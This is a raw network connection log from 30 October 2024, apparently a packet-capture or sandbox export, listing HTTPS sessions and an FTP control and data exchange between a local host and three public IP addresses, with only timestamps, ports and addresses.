Oct 30, 2024 08:34:59.872490883 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.872560024 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.872571945 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.872637987 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.872742891 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.872807980 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.872896910 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.872958899 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.873037100 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.873102903 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.877638102 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.877708912 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.877887964 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.877948046 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.878040075 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.878171921 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.878171921 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.878173113 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.878180981 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.878247976 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.878319025 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.878326893 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.878431082 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.878492117 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.878500938 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.878571987 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.878632069 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.878638983 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.878767967 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.878824949 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.878834963 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.878988981 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.879041910 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.879053116 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.879060030 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.879096031 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.879106045 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.879199982 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.879266977 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.879290104 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.879362106 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.879369020 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.879427910 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.880003929 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.880062103 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.880067110 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.880073071 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.880111933 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.880120993 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.880177975 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.880186081 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.880240917 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.880328894 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.880384922 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.880770922 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.880832911 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.905061007 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.905215979 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.905236959 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.905245066 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.905277014 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.905297041 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.905376911 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.905438900 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.991076946 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.991219997 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.991238117 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.991245985 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.991280079 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.991317034 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.991389990 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.991466999 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.991895914 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.991985083 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.991996050 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.992070913 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.992104053 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.992177963 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.992484093 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.992566109 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.992621899 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.992691040 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.992753029 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.992834091 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.992923975 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.992991924 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.993124008 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.993200064 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.993449926 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.993520975 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.993622065 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.993696928 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.993915081 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.993982077 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.994128942 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.994201899 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.994256020 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.994324923 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.994431973 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.994509935 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.994662046 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.994733095 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.994990110 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.995058060 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.995168924 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.995255947 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.995470047 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.995537996 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.995665073 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.995738029 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.995862961 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.995939016 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.996023893 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.996109009 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.996227026 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.996305943 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.996407032 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.996478081 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.996566057 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.996644974 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.996678114 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.996745110 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.996846914 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.996917009 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.997011900 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.997100115 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.997162104 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.997234106 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.997339964 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.997417927 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.997468948 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.997540951 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.997612000 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.997689962 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.997740030 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.997811079 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:00.024378061 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:00.024487972 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:00.024525881 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:00.024652958 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:00.024704933 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:00.024713039 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:00.024722099 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:00.024756908 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:00.110094070 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:00.110204935 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:00.110358000 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:00.110510111 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:00.110764980 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:00.110824108 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:00.110830069 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:00.110856056 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:00.110907078 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:00.113399982 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:00.113418102 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:00.113428116 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:00.113432884 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:06.148466110 CET	49732	443	192.168.2.4	172.67.74.152
Oct 30, 2024 08:35:06.148504972 CET	443	49732	172.67.74.152	192.168.2.4
Oct 30, 2024 08:35:06.148561954 CET	49732	443	192.168.2.4	172.67.74.152
Oct 30, 2024 08:35:06.162122965 CET	49732	443	192.168.2.4	172.67.74.152
Oct 30, 2024 08:35:06.162142038 CET	443	49732	172.67.74.152	192.168.2.4
Oct 30, 2024 08:35:06.774816990 CET	443	49732	172.67.74.152	192.168.2.4
Oct 30, 2024 08:35:06.774882078 CET	49732	443	192.168.2.4	172.67.74.152
Oct 30, 2024 08:35:06.780165911 CET	49732	443	192.168.2.4	172.67.74.152
Oct 30, 2024 08:35:06.780178070 CET	443	49732	172.67.74.152	192.168.2.4
Oct 30, 2024 08:35:06.780455112 CET	443	49732	172.67.74.152	192.168.2.4
Oct 30, 2024 08:35:06.843198061 CET	49732	443	192.168.2.4	172.67.74.152
Oct 30, 2024 08:35:06.887340069 CET	443	49732	172.67.74.152	192.168.2.4
Oct 30, 2024 08:35:07.017381907 CET	443	49732	172.67.74.152	192.168.2.4
Oct 30, 2024 08:35:07.017477989 CET	443	49732	172.67.74.152	192.168.2.4
Oct 30, 2024 08:35:07.017785072 CET	49732	443	192.168.2.4	172.67.74.152
Oct 30, 2024 08:35:07.023035049 CET	49732	443	192.168.2.4	172.67.74.152
Oct 30, 2024 08:35:08.532341957 CET	49733	21	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:08.537884951 CET	21	49733	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:08.540617943 CET	49733	21	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:08.543725014 CET	49733	21	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:08.549216986 CET	21	49733	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:08.549719095 CET	49733	21	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:08.638937950 CET	49734	21	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:08.646059990 CET	21	49734	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:08.646141052 CET	49734	21	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:09.569416046 CET	21	49734	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:09.569741011 CET	49734	21	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:09.575126886 CET	21	49734	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:09.908655882 CET	21	49734	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:09.908821106 CET	49734	21	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:09.914218903 CET	21	49734	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:10.273730040 CET	21	49734	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:10.273893118 CET	49734	21	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:10.279398918 CET	21	49734	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:10.612694979 CET	21	49734	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:10.612874985 CET	49734	21	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:10.618274927 CET	21	49734	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:10.951411963 CET	21	49734	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:10.951900005 CET	49734	21	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:10.958168030 CET	21	49734	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:11.290183067 CET	21	49734	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:11.290445089 CET	49734	21	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:11.295870066 CET	21	49734	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:11.628808975 CET	21	49734	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:11.629463911 CET	49735	50707	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:11.634876013 CET	50707	49735	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:11.634948969 CET	49735	50707	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:11.635008097 CET	49734	21	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:11.640415907 CET	21	49734	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:11.658726931 CET	49736	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:11.658757925 CET	443	49736	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:11.658868074 CET	49736	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:11.658962965 CET	49736	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:11.658994913 CET	443	49736	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:11.659056902 CET	49736	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:11.677764893 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:11.677813053 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:11.677891970 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:11.679347038 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:11.679363012 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:12.342667103 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:12.342750072 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:12.344024897 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:12.344037056 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:12.344285011 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:12.387002945 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:12.417752981 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:12.459336996 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:12.535938025 CET	21	49734	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:12.539211035 CET	49735	50707	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:12.539211035 CET	49735	50707	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:12.544931889 CET	50707	49735	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:12.544944048 CET	50707	49735	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:12.544953108 CET	50707	49735	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:12.545490980 CET	50707	49735	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:12.547611952 CET	49735	50707	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:12.578684092 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:12.578715086 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:12.578722954 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:12.578794956 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:12.578814030 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:12.593998909 CET	49734	21	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:12.611825943 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:12.611901045 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:12.611916065 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:12.658344030 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:12.694648981 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:12.694685936 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:12.694705009 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:12.694745064 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:12.694789886 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:12.695527077 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:12.695547104 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:12.695600033 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:12.695622921 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:12.696470976 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:12.696491957 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:12.696537971 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:12.728183985 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:12.728208065 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:12.728249073 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:12.728267908 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:12.810343981 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:12.810434103 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:12.811175108 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:12.811249018 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:12.811846972 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:12.811908960 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:12.812733889 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:12.812798977 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:12.813635111 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:12.813741922 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:12.844257116 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:12.844360113 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:12.844556093 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:12.844599009 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:12.844630957 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:12.844671965 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:12.844733953 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:12.868870974 CET	21	49734	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:12.885957956 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:12.886029005 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:12.911962032 CET	49734	21	192.168.2.4	110.4.45.197
Oct 30, 2024 08:35:12.918148041 CET	21	49734	110.4.45.197	192.168.2.4
Oct 30, 2024 08:35:12.926069975 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:12.926151991 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:12.926660061 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:12.926714897 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:12.927149057 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:12.927201986 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:12.927900076 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:12.927962065 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:12.928016901 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:12.928076982 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:12.928726912 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:12.928791046 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:12.929542065 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:12.929594040 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:12.929676056 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:12.929729939 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:12.930536032 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:12.930588007 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:12.931324005 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:12.931382895 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:12.960139990 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:12.960205078 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:12.960951090 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:12.961009026 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:12.961009026 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:12.961025000 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:12.961061954 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:12.961402893 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:12.961460114 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:12.962047100 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:12.962222099 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:12.962762117 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:12.962815046 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.002480984 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.002582073 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.006917000 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.007209063 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.042511940 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.042586088 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.042769909 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.042839050 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.043246031 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.043318987 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.043411016 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.043473959 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.044270992 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.044343948 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.045209885 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.045274019 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.045346022 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.045406103 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.045497894 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.045561075 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.046407938 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.046482086 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.047424078 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.047499895 CET	49737	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:35:13.048655987 CET	443	49737	50.116.93.185	192.168.2.4
Oct 30, 2024 08:35:13.048724890 CET	49737	443	192.168.2.4	50.116.93.185
